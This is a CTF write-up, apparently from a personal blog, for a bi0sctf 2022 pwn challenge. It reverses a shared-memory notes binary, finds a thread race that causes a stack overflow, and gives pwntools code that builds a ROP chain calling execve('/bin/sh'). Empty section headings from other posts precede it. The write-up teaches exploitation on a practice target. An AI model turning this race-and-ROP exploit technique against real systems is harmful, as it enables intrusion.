# Table of Contents  

- [Introduction](#introduction)
- [Virtual Jump Instructions](#virtual-jump-instructions)
- [Virtualized Compares \& Tests](#virtualized-compares--tests)
- [Virtual Jump \& VMExit Return Addresses](#virtual-jump--vmexit-return-addresses)
- [Calling Other Virtualized Functions](#calling-other-virtualized-functions)
- [More Virtual Instructions Types](#more-virtual-instructions-types)
- [Assembly Constructs to Virtual Instructions](#assembly-constructs-to-virtual-instructions)
- [Decryption Sequences](#decryption-sequences)
- [Conclusion](#conclusion)

# Introduction

# Virtual Jump Instructions

# Virtualized Compares & Tests

# Virtual Jump & VMExit Return Addresses

# Calling Other Virtualized Functions

# More Virtual Instructions Types

# Assembly Constructs to Virtual Instructions

# Decryption Sequences

# Conclusion

In this write-up, we closely analyzed the architecture of the VMProtect virtual machines and virtual instructions. In the future, I'd love to revisit VMProtect by taking a look at the mutation feature and maybe some of the other protections it offers (memory protection, import protection, packing, etc). I also want to take a look at how the software handles more complex programs, conditional statements, and calls to other virtualized functions. Thanks for reading and I hope you learned something about the exceptionally complex virtualization-based obfuscator known as VMProtect.

VMProtect 3 Revisited: Virtualization-Based Software Obfuscation Pt. 3

# Table of Contents  
- [Introduction](#introduction)
- [Installing Vagrant](#installing-vagrant)
- [Setting up a Box](#setting-up-a-box)
- [Scripting \& Automation](#scripting--automation)
- [Conclusion](#conclusion)

# Introduction

# Installing Vagrant

# Setting up a Box

# Scripting & Automation

# Conclusion

Vagrant: Automated Windows 11 Kernel Debugging

# Table of Contents  
- [Challenge Intro](#challenge-intro)
- [Reversing](#reversing)
- [Exploitation](#exploitation)

# Challenge Intro
Justin Miller ([@zolutal](https://twitter.com/zolutal)) and I ([@mitchzks](https://twitter.com/mitchzks)) solved this pwn challenge during bi0sctf 2022. It's a typical x86_64 Linux notes pwn challenge. The gimmick was that it used shared memory instead of the heap for data storage and two separate threads for managing the notes.

# Reversing
We started by downloading the correct version of *libc* and *ld.so*. They didn't provide the exact file but the challenge binary printed a warning if you didn't load it with libc 2.34. So, I downloaded a random 64-bit libc 2.34 from [bluekat](https://libc.blukat.me/) and used [pwninit](https://github.com/io12/pwninit) to get the correct *ld.so*.
 
After we got the libraries setup, we ran the binary and looked around the menu.

![](/blog/bi0s-notes/menu.png)

The only interesting things there were the "encrypt/decrypt note" and the "upgrade note" options. Everything else looked like a fairly standard notes app. Next, we opened it up in IDA to see the details:

```c
__int64 __fastcall main(__int64 argc, char **argv, char **env)
{
 pthread_t thread_1; // [rsp+0h] [rbp-30h] BYREF
 pthread_t thread_2; // [rsp+8h] [rbp-28h] BYREF
 void *shared_memory_p; // [rsp+18h] [rbp-18h]
 int shmid; // [rsp+24h] [rbp-Ch]
 key_t key; // [rsp+28h] [rbp-8h]
 int i; // [rsp+2Ch] [rbp-4h]

 setup();
 banner();
 alarm(60u);
 key = getpid();
 shmid = shmget(key, 0x800uLL, 950);
 if ( shmid == -1 )
 {
 syscall(1LL, 1LL, "Error in shmget\n", 17LL);
 return 0LL;
 }
 else
 {
 shared_memory_p = shmat(shmid, 0LL, 0);
 if ( shared_memory_p != (void *)-1LL )
 {
 memset(shared_memory_p, 0, 0x800uLL);
 *((_BYTE *)shared_memory_p + 29) = 0;
 if ( pthread_create(&thread_1, 0LL, (void *(*)(void *))thread_1_routine, shared_memory_p) )
 syscall(1LL, 1LL, "Error in creating thread 1\n", 28LL);
 if ( pthread_create(&thread_2, 0LL, (void *(*)(void *))thread_2_routine, shared_memory_p) )
 syscall(1LL, 1LL, "Error in creating thread 2\n", 28LL);
 for ( i = 0; i <= 1; ++i )
 pthread_join(*(&thread_1 + i), 0LL);
 shmdt(shared_memory_p);
 shmctl(shmid, 0, 0LL);
 syscall(1LL, 1LL, "Done!\n", 6LL);
 exit(0);
 }
 syscall(1LL, 1LL, "Error in shmat\n", 16LL);
 return 0LL;
 }
}
```

The app allocates a shared memory region and passes it to two separate threads. This could easily introduce a race condition. Lets look at the routine for thread 2:

```c
void __fastcall __noreturn thread_2_routine(shared_memory *shm_addr)
{
 int v1; // [rsp+1Ch] [rbp-4h] BYREF

 print_menu();
 while ( 1 )
 {
 syscall(1LL, 1LL, "Enter Choice: ", 14LL);
 __isoc99_scanf("%d", &v1);
 switch ( v1 )
 {
 case 1:
 create_note(shm_addr);
 break;
 case 2:
 delete_note(shm_addr);
 break;
 case 3:
 print_note(shm_addr);
 break;
 case 4:
 upgrade_note(shm_addr);
 break;
 case 5:
 encrypt_note(shm_addr);
 break;
 case 6:
 exit(0);
 default:
 syscall(1LL, 1LL, "Invalid Choice\n", 15LL);
 break;
 }
 }
}
```

This thread was clearly running the main interactive elements of the binary. It asks the user for an action and lets them store a note, delete a note, print a note, upgrade a note (change the size), and encrypt a note. The most interesting action here is *create_note*, as it gives you the most control over the shared memory region.

```c
__int64 __fastcall create_note(shared_memory *a1)
{
 __int64 result; // rax

 syscall(1LL, 1LL, "Enter Note ID: ", 15LL);
 getn((__int64)a1, 8u);
 syscall(1LL, 1LL, "Enter Note Name: ", 17LL);
 getn((__int64)a1->note_name, 0x10u);
 syscall(1LL, 1LL, "Enter Note Size: ", 17LL);
 __isoc99_scanf("%d", &a1->note_size);
 syscall(1LL, 1LL, "Enter Note Content: ", 20LL);
 getn((__int64)a1->note_contents, a1->note_size);
 result = (__int64)a1;
 a1->note_stored = 1;
 return result;
}
```

This lets us store a note ID, a note name, a note size, and note contents. It also doesn't check the note size, so we could make the note as large as necessary. Since the shared memory region is allocated using *shmat*, it's likely sitting directly on top of *ld.so*, meaning we could create a large note and leak some pointers from that using *print_note*. After writing all of the data, it returns back to the menu and lets us repeatedly perform actions on the thread. 
 
This function gave a pretty clear view of the structure of the shared memory region. The *shared_memory* struct is already applied to the decompilation above, but here it is for reference:

```c
struct shared_memory
{
 long long note_id;
 char note_name[16];
 int note_size;
 char note_stored;
 char note_encrypted;
 char field_1E[1024];
 char note_contents[994];
};
```

Now that we knew all of this, we looked at what thread 1 was doing:
```c
void *__fastcall sub_401AC8(shared_memory *shared_memory)
{
 char dest[64]; // [rsp+10h] [rbp-40h] BYREF

 sleep(2u);
 if ( shared_memory->note_size >= 65u )
 {
 syscall(1LL, 1LL, "Size Limit Exceeded\n", 20LL);
 exit(0);
 }
 thread1_encrypt(shared_memory);
 sleep(1u);
 syscall(1LL, 1LL, "Sent!\n", 6LL);
 return memcpy(dest, shared_memory->note_contents, shared_memory->note_size);
}
```

Thread 1 will stall until a note is created (*note_stored* == 1) and then run this routine. The bug here is immediately obvious. Once we create a note on thread 2, this routine will be ran immediately on thread 1. We can then wait 2 seconds to get past the first *note_size* check, but then we will have a 1 second race to change *note_size* on thread 1 and overflow the stack buffer with that final *memcpy* call. This is an easy stack overflow, and since the binary wasn't compiled with stack canaries, gives us full *RIP* control.
 
Just to mention, *thread1_encrypt* isn't important at all in this bug. All it does is iterate over *field_1E* in the shared memory region and XOR every byte over a 16-byte block. If it actually encrypted the correct part of the shared memory region (*note_contents*), then we'd probably have to XOR encrypt our stack overflow contents beforehand, but since the function is encrypting the wrong data, we don't even have to think about it.

# Exploitation
We started by triggering the race condition for the stack overflow. This was just as easy as we thought and only required calling *create_note* twice:

```python
...
p = proc()
def store(size, content):
 p.slm(b"1")
 p.slm(b"0")
 p.slm(b"a")
 p.slm(str(size).encode())
 p.slm(content)

# create the first note to trigger the encryption routine on thread 1
store(20, "AAAAAAAAAAAAA") 

# wait for note_size race condition
sleep(3) 

# overflow stack
payload = p64(0xDEADBEEF)
store(994, b"\0"*72 + payload) 
```

Now that we had RIP control, we needed to figure out how to pop a shell. We had a massive overflow and PIE wasn't enabled, so we could ROP anywhere we wanted in the main binary. We originally thought about SIGROP to set the registers we needed for an *execve* syscall, but it ended up being much easier than that. 

We needed to control *rdi*, **rsi*, **rdx*, and **rcx* to call *execve* using the libc *syscall* function. When we overflow the stack, *rsi* pointed to a part of the shared memory region, **rdx* pointed to null memory, and **rcx* pointed to another memory region that we controlled. This meant we only had to control *rdi* so that we could set the syscall number, **rsi* to *"/bin/sh"* for the argument to *execve*, and **rcx* to null. Since we controlled **rsi* and **rcx*, the only thing we needed a ROP gadget for was *rdi*, and luckily that was not too difficult to find:

```c
0x0000000000401bc0 : pop rdi ; ret
```

After we had that, calling *execve* was easy:

```python
...
pop_rdi = p64(0x00401bc0)
syscall = p64(elf.plt["syscall"])

payload = pop_rdi + p64(0x3b) + syscall + b"\0" * 102 * 8 + b"/bin/sh\0"

store(994, b"\0"*72 + payload)

p.ru(b"Sent!")
p.interactive()
```

We immediately tried it on remote and it worked first try 🙂